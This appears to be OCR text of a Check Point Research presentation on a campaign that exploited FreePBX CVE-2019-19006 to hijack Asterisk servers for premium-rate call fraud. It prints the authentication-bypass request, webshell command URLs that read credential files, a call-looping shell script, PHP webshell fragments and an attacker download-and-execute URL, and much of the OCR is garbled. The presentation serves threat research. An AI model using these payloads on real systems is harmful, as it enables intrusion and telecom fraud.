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* |do Solomon

» Security Researcher at Check Point Software

Technologies’ Network Research team.

» Holds a B.Sc. in Information Systems

Engineering at Ben-Gurion University.
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Served in a top IDF intelligence unit that

specializes in network and Cyber-attacks
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» Check Point Research has uncovered an ongoing attack on

Digium Asterisk servers

» The campaign leverages a critical vulnerability in Sangoma

FreePBX

 This attack turned out to be a part of a wider phenomenon of

targeting SIP servers for use in an unconventional way
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Private Branch EXchange

Ck?

Asterisk freePBX
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INFECTION VECTOR




Attack on Asterisk Cp <I>
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 ‘<domain>/rr.php?yokyok=<cmd>’
—‘cat /etc/amportal.conf’
—’‘cat /etc/asterisk/sip_additional.conf’

— -

'®s//%s/admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel originate local/*738@from-1in

® PAsTEBIN

free
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O Why GitHub? Team Enterprise Explore Marketplace

> SIS <

FreePBX
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Dashboard /... / List of Securities Vulnerabilities

2019-11-20 Remote Admin Authentication Bypass

penSource

¥ % FreePBX / FREEPBX-20791

Y Security issue: Potential login bypass

0- Commits on Nov 19, 2019

[Module Tag script: framework 14.0.13.12]

‘ qwell committed on Nov 19, 2019
FreePBX

& httpy//www.freepbxorg [ info@freepbx.org

FREEI-916 Partially revert change for FREEPBX-20791

. gwell committed on Nov 19, 2019
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CVE-2019-19006 cp<E>
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password[0]=<Irrelevant value!>&username=admin

GET /admin/config.php?password%5B0%5D=Inje3t0r3-Seraj&username=admin HTTP/1.1
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Two variants of the attacks were recorded

Ini POST /rr.php HTTP/1.1
Host:
M Content-Length: 155
Diy Accept-Encoding: gzip, deflate
Accept: */*

User-Agent: python-requests/2.6.8 CPython/2.7.5 Linux/3.10.0-1127.e17.x86 64
Connection: keep-alive

Cookie: PHPSESSID=s3fi68cbcmuendm3mu2dh7fqq@

Content-Type: application/x-www-form-urlencoded

yokyok=rm+-rf+32Fvar®2Fwwwi2Fhtml¥2FZ3R0-CO0OL . php+¥2Fvar®2Fwwwd2Fhtml¥2Fconfi
NEVH %2Fvard2Fwwwd2Fhtml¥2Fsaleml123.all. php+¥2Fvar®2Fwwwb2Fhtml®2FSenator. php Divergence

) L ) L ) | webshells )
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First Flow

» Retrieval of Asterisk
management files

—/etc/amportal.conf

—/etc/asterisk/sip_additional.conf

» Placing outgoing calls
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timebtncalls=20;
duration="1000";
outbound="thanku-outcall"”;

prs="n,00,011,810,001,0015,900,000,007,9810" ;
numbePQ:"BILSZBZBBlG";
orig="/usr/sbin/asterisk -rx "channel originate" ;
if echo $orig | grep Usage > /dev/null
then origi="channel originate";
elif echo $orig | grep "Unable to connect" >/dev/null;
then echo "error:unable”;
else origi="originate";
fi;
if echo $origi | grep originate >/dev/null;
then for pr in "echo $prs 2 E R A T L
do for number in ° $numbers | tr ',' :
do /usr/sbin/asterisk -rx "${origi} al/${pr, .,,S{. mHeP}@${othOQéd}
application wait ${du ratlo”}" & QInpp %4 +1ms“‘“r“J1
echo "${origi} Local/$%{pr/ ,}${:um,erJ_$Lo tao=d1}”;
done
done
fi

©2021 Check Point Software Technologies Ltd.
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» Download of a second PHP webshell
—Base64-encoded and padded with garbage comments

—Password-protected

if (isse

i ($ R QHEbT[ p']) & & md5(% REQUEST['p']) == "'576cd437e1c30c9164a2866d55e502bc") {
$ SESSION[ 'pop'] = 'logged';

oQ

—Can retrieve the credentials to the Asterisk Internal Database and REST Interface

» No evidence of further requests during this flow

—Possibly due to the attacker failing to make outgoing calls

WFICOME T0 THE FUTHRFE NF CYRFR SFECURITY
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Retrieve file
contents

- &

Configuration Files

config.php

| Download PHP File - \
Initial Webshell '

Passwordrtected
Webshell

pastebin.com

Test different
extensions

Q o

Outgoing Calls Old Versions

Delete files
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° Download Of a Second PHP if (md5($_SERVER['REMOTE_ADDR'])=="270@6efbca6af39a8aa%ac@ce8dd2fa7a"

|| md5($_SERVER['REMOTE_ADDR'])=="1a3c377b6245388b947a69829089c7df" ||

WebShe” mdS($ SERVER[ 'REMOTE_ADDR'])=="c59ab00f0ad4556ccf2e3 4efFf1351f8" | ]

md5($_SERVER[ 'REMOTE_ADDR'])=="3ab2646e23bf5d331d15b90006899%edd" | |

md5($_SERVER[ 'REMOTE_ADDR'])=="139dae359ac86690bf9f1a64f9c9d4f2" ||

—Password-protected mdS5($_SERVER[ 'REMOTE_ADDR ' ])=="14cf56e666c345d0f26af416cdas8ab9" ||

mdS($_SERVER[ 'REMOTE_ADDR'])=="¥33cc6d416f441c336185b7b57e97f32" ||

11 md5($_SERVER[ 'REMOTE ADD“']):: bf2de831fa1900411cb99ff781a9e091" | |

_Only Serves SpECIfIC |PS, stored mdS5($_SERVER[ 'REMOTE_ADDR'])=="3d4e8a2959c8195¢39763f98b33d5bcc" ||

md5($_SERVER[ 'REMOTE_ADDR'])=="f1d37dd9b641290120def5d27c234cde" ||

as MD5 haSheS md5($_SERVER[ 'REMOTE_ADDR'])=="052825b9f89a39fd7507ccl11ef@b162b" ||

. md5($_SERVER[ 'REMOTE_ADDR'])=="ead41099839b9561fdc6cab14a961dbo" ||

° Unauthen“cated users and md5($_SERVER[ 'REMOTE_ADDR'])=="af93fb325f1372e850089637638d4c40" | |

md5($_SERVER['REMOTE_ADDQ'])zz c59ab@0f0ad4556ccf2e34efff1351F8" ||

unknown IPS receive a fake md5($_SERVER[ 'REMOTE_ADDR'])=="9f198d72e17360486c1106bb0c9d8323" ||

md5($_SERVER[ ‘REMOTE_ADDR'])=="a7dadc6e@cdb5bf8ec73445b52c56c58" ||

{

Zl()zg F: t)'(j(j md5($_SERVER[ 'REMOTE_ADDR'])=="078a77a19e0c5abf49d0c4ad561a2f17")

Or I en message echo "<form action="" method="post" ><input size=20 type=password
name="p" /><input size=60 type=text name="c" /><input type=submit
value="Hacked" /></form>Sexawy >';

if (md5($_REQUEST['p'])=="fe732de226af5491a6266f9d5eaab2fc"){
$logged="1";

WFICOME T0O THF FUTHRF NDF CYRFR SFECIHRITY
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» The Threat Actor then performs the following actions:
—Attempts to update FreePBX Framework, possibly to patch CVE-2019-19006

—Attempts to download and execute ‘hxxp://45[.]143.220.116/emol.sh’
—Dead URL (404)
—45.143.220.XX subnet is associated with mass SIP scanning

—Creates a new directory at ‘/var/www/html/freeppx’ and moves all files used
in the attack to it

WFICOME T0 THE FUTHRFE NF CYRFR SFECURITY
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« Downlods and saves a PHP file as ‘/tmp/k’
—Drops ‘.htaccess’ and ‘config.php’ to disk
—'fvar/www/html/admin/views/’

« ‘htaccess’

—This file allows access to config.php from other URIs

—e.g.’ <server-url>/config’ instead of

, ) _ ) , RewriteEngine On
<server-url>/admin/views/config.php

Options +FollowSymLinks

RewriteCond %{REQUEST FILENAME} !-d
RewriteCond %{REQUEST FILENAME} !-f

RewriteCond %{REQUEST FILENAME} !-1

A

RewriteRule "*\s+ config.php [L]

WFICOME T0O THF FUTHRF NDF CYRFR SFECIHRITY
©2021 Check Point Software Technologies Ltd. 20



CHECK POINT RESEARCH

‘config.php’
Another base64-encoded PHP file, again padded with garbage comments
When decoded, revealed to be a password-protected web panel

CALL | asterisk-outcalls number

Execute

ls -la | ps -aux --forest

cat /etc/asterisk/sip_additional.conf

Elastix | Fi‘eepbx




Second Flow

Download PHP File

Initial Webshell

Server

Delete files

—

Old Versions
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Attacker-controlled
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ajax.php /tmp/k

Download PHP File
@

Passwor-otected Attacker-controlled PHP Dropper
Server

Webshell
Drop files to disk

Move files to
a new folder

Update FreePBX
Framework

~ B =

| 5 E D, . =®
/freeppx Web Panel .htaccess
Update
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Complete Flow

Divergence

WEICOME TO THF FUTHRF OF CYRFR SFCIURITY

Webshell pastebin.com

Download PHP File

Initial Webshell

Old Versions
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Download PHP File Config-php

Passwordprtected
Webshell

Retrieve file Test different
contents extensions

Delete files

Q o

Configuration Files Outgoing Calls Old Versions

ajax.ph tmp/k
. ‘p s Download PHP File / ‘p/

Attacker-controlled Passworpotected Attacker-controlled PHP Dropper

Server Webshell Server
Drop files to disk

Deletefiles

Update FreePBX Move files to
Framework a new folder

~ .
[ Y g ®
Software /freeppx Web Panel .htaccess

Update
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Hints left behind

Webshell strings e ——
Sl ©? PASTEBIN ~ colfilll  ~
Attack Logs

Who is Inje3ctOr3?

GET /admin/config.php?passWord%S0%5D=Inje3t0r3-Seraj&username=admin HTTP/1.1

Host.

Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*

User-Agent: python-requests/2.24.0
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» Facebook groups

"= VOIP SIP
) 1,647 subscribers

| Ploned messege

177 L9 Oluddl b3y J15ul clSay s Sl Ggys lid

—Active users and admins

October 17

—Hacking Tools and tutorials

S

I ‘% 4
‘ NewResultPages

Bagx> Ol Z13315 allall Lo sy Bacludl
oo 038 3 PBX M JS peie ddlisis £lgil 550 @ Bauaas
O23axka P & 50 ! 355 paaal) 3,951 pial 153l

Jbs Lag 2io

—Vulnerable IPs list

loegs 5

» Other relevant groups and
sites

Flastix - Logn page
lastix - Login page
lastix - Login page

ht "g.php FreePBX
Adm

Issabel - Login page
: Test Page for the
Nginx » wiver on EPEL

htt rmis fig.php v
tiv ) - FreePBX I
Administration
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International Premium Rate Numbers

IPRN owners get paid for each incoming call

Each call is priced differently
Call length

(9

Origin country e - s

i

@ i®

'

iQ & fo R |
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The Wide Phenomenon

 Attackers can leverage IPRN in order to
generate additional profit

» IPRN providers and resellers are aware
of this new market segment

 This practice appears to be common
among hackers in Gaza and the West
Bank
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*2 < Notepad

VoipSipChat v
PpC Growup Info ~

Fre File Edt Fomat View

/1 Price 30/45 Currency Test Number

)52 0.068 USD 93704

S 0.056 USD 9374
(@) - ikt 0.046 USD 937
[T O Tt SRy o 0.061 USD 93 M
o o i@ - 0.08 USD 9374
AP ' e 0.069 USD 93
0.057 USD 3555
e 0.053 USD 3554
ot & Adte 0.053 USD 359

0.129 USD 355

pri of t)) 0.128 USD 355
print( was Su ") 0.132 USD 3554
B ) / i i .format(uri_ip[@], [21), 0.051 USD 38

0.057 USD 3"
'Connection': 'keep-alive'} 0.024 USD
isk-cli&command=clicmd&data=channel originate local @from-internal application system 0.218 USD
0.024 USD
0.024 USD
“ ¢ headers=headers, tim ) 0.07 USD
‘true' in str(r.content): 0.006 USD
0.024 USD
0.053 USD

rmat(uri_ip[@], uri_ip[2], tmp_shell_name), data={'

i & o B @

timeout=4@)

Scanning the IPs Creating a Attempting to Gaining a
for different SIP targets list with compromise SIP foothold on the
services relevant services servers servers

Getting relevant
IP ranges

Using the
servers for profit
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At least 1200 organizations worldwide were targeted
» Impact on compromised systems includes:
—Selling calls and infrastructure access
—Impersonating the compromised company

—Eavesdropping on calls

—Using the compromised resources for further attacks

Losses from global telecoms fraud exceed 28 Billion USD, according to CFCA [Communications fraud control association), with

VolP PBX hacking being one of the top 5 fraud methodsused.
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This is an ongoing campaign targeting
Asterisk servers

The campaign was orchestrated by actors
mostly in Gaza and the West Bank

Exploitation could lead to severe financial
losses for the victims
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